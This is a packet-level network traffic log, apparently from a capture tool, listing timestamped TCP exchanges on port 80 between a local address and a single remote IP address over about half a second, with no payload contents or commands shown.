Dec 28, 2024 10:03:36.857721090 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.857784986 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.860003948 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.860061884 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.860099077 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.862209082 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.862270117 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.862339973 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.864526987 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.864568949 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.864583015 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.866760015 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.866808891 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.866842985 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.869004011 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.869046926 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.869155884 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.871319056 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.871362925 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.871422052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.873543978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.873600006 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.873653889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.875852108 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.875902891 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.875969887 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.878088951 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.878132105 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.878195047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.880373001 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.880397081 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.880428076 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.882621050 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.882677078 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.882739067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.884881020 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.884942055 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.885000944 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.887162924 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.887217999 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.887257099 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.889416933 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.889472961 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.889509916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.891729116 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.891782999 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.891820908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.893954992 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.894011974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.894064903 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.896241903 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.896300077 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.896328926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.898508072 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.898561954 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.898644924 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.900793076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.900855064 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.900922060 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.903048038 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.903105974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.903187990 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.905410051 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.905466080 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.905478001 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.907608032 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.907656908 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.907787085 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.909848928 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.909914017 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.909962893 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.912231922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.912242889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.912292004 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.914382935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.914437056 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.914520979 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.916651011 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.916718960 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.916757107 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.965862989 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.976886988 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.977011919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.977063894 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.977838039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.977969885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.978013992 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.979770899 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.979968071 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:36.980006933 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:36.981709003 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.001132965 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.001172066 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.001391888 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.001876116 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.001940966 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.002094984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.003495932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.003561020 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.003578901 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.005037069 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.005089045 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.005091906 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.006624937 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.006675959 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.006710052 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.008219004 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.008275032 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.008310080 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.009742022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.009783983 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.009816885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.011220932 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.011286974 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.011389971 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.012777090 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.012830019 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.012883902 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.014278889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.014358044 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.014384985 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.015746117 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.015804052 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.015853882 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.017262936 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.017328978 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.017360926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.018759966 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.018810987 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.018827915 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.020209074 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.020257950 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.020335913 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.021692991 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.021740913 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.021806955 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.023165941 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.023215055 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.023216009 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.024547100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.024607897 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.024718046 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.026016951 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.026067019 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.026096106 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.027404070 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.027451038 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.027508974 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.028873920 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.028898001 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.028924942 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.030236006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.030287027 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.030376911 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.031641006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.031687021 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.031744003 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.033029079 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.033072948 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.033109903 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.033895969 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.033941031 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.033987999 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.034825087 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.034869909 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.034893990 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.035666943 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.035707951 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.035727978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.036604881 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.036659956 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.036712885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.037524939 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.037543058 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.037569046 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.038355112 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.038400888 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.038497925 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.039238930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.039285898 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.039352894 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.040132999 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.040175915 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.040221930 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.041012049 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.041055918 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.041096926 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.041894913 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.041940928 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.042042017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.042817116 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.042857885 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.042901993 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.043690920 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.043731928 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.043796062 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.044552088 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.044593096 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.044660091 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.045461893 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.045502901 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.045581102 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.046303034 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.046344042 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.046407938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.047204018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.047240019 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.047322035 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.048090935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.048132896 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.048199892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.048998117 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.049041033 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.049065113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.049873114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.049917936 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.049952984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.050779104 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.050822020 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.050846100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.051661968 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.051702023 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.051784039 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.052534103 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.052573919 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.052632093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.053432941 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.053472996 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.053534031 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.054322958 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.054363012 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.054414034 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.055222988 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.055262089 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.055371046 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.056164026 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.056200981 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.056216955 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.056972980 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.057018042 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.057060957 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.106446028 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.168963909 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.169085979 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.169153929 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.169392109 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.169507027 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.169552088 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.170305014 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.170423031 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.170464039 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.171145916 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.192735910 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.192786932 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.192796946 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.193244934 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.193288088 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.193348885 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.194080114 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.194125891 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.194161892 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.194961071 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.195008993 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.195072889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.195847034 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.195888042 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.195951939 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.197004080 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.197048903 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.197117090 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.197612047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.197657108 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.197799921 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.198518038 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.198561907 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.198597908 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.199405909 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.199445963 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.199506998 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.200334072 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.200382948 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.200434923 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.201224089 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.201270103 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.201304913 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.202075005 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.202116013 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.202177048 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.202971935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.203016043 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.203068018 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.203851938 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.203896999 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.204114914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.204761028 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.204775095 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.204804897 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.205660105 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.205704927 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.205859900 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.206521034 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.206572056 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.206706047 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.207402945 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.207452059 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.207508087 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.208313942 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.208359003 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.208429098 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.209187984 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.209229946 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.209292889 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.210086107 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.210138083 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.210169077 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.210963011 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.211014032 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.211061954 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.211864948 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.211905956 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.211941957 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.212768078 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.212812901 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.212847948 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.213627100 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.213676929 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.213736057 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.214514017 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.214554071 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.214612007 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.215429068 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.215473890 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.215511084 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.216320038 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.216367960 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.216419935 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.217181921 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.217221022 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:37.217304945 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:37.218100071 CET	80	49766	185.215.113.16	192.168.2.6
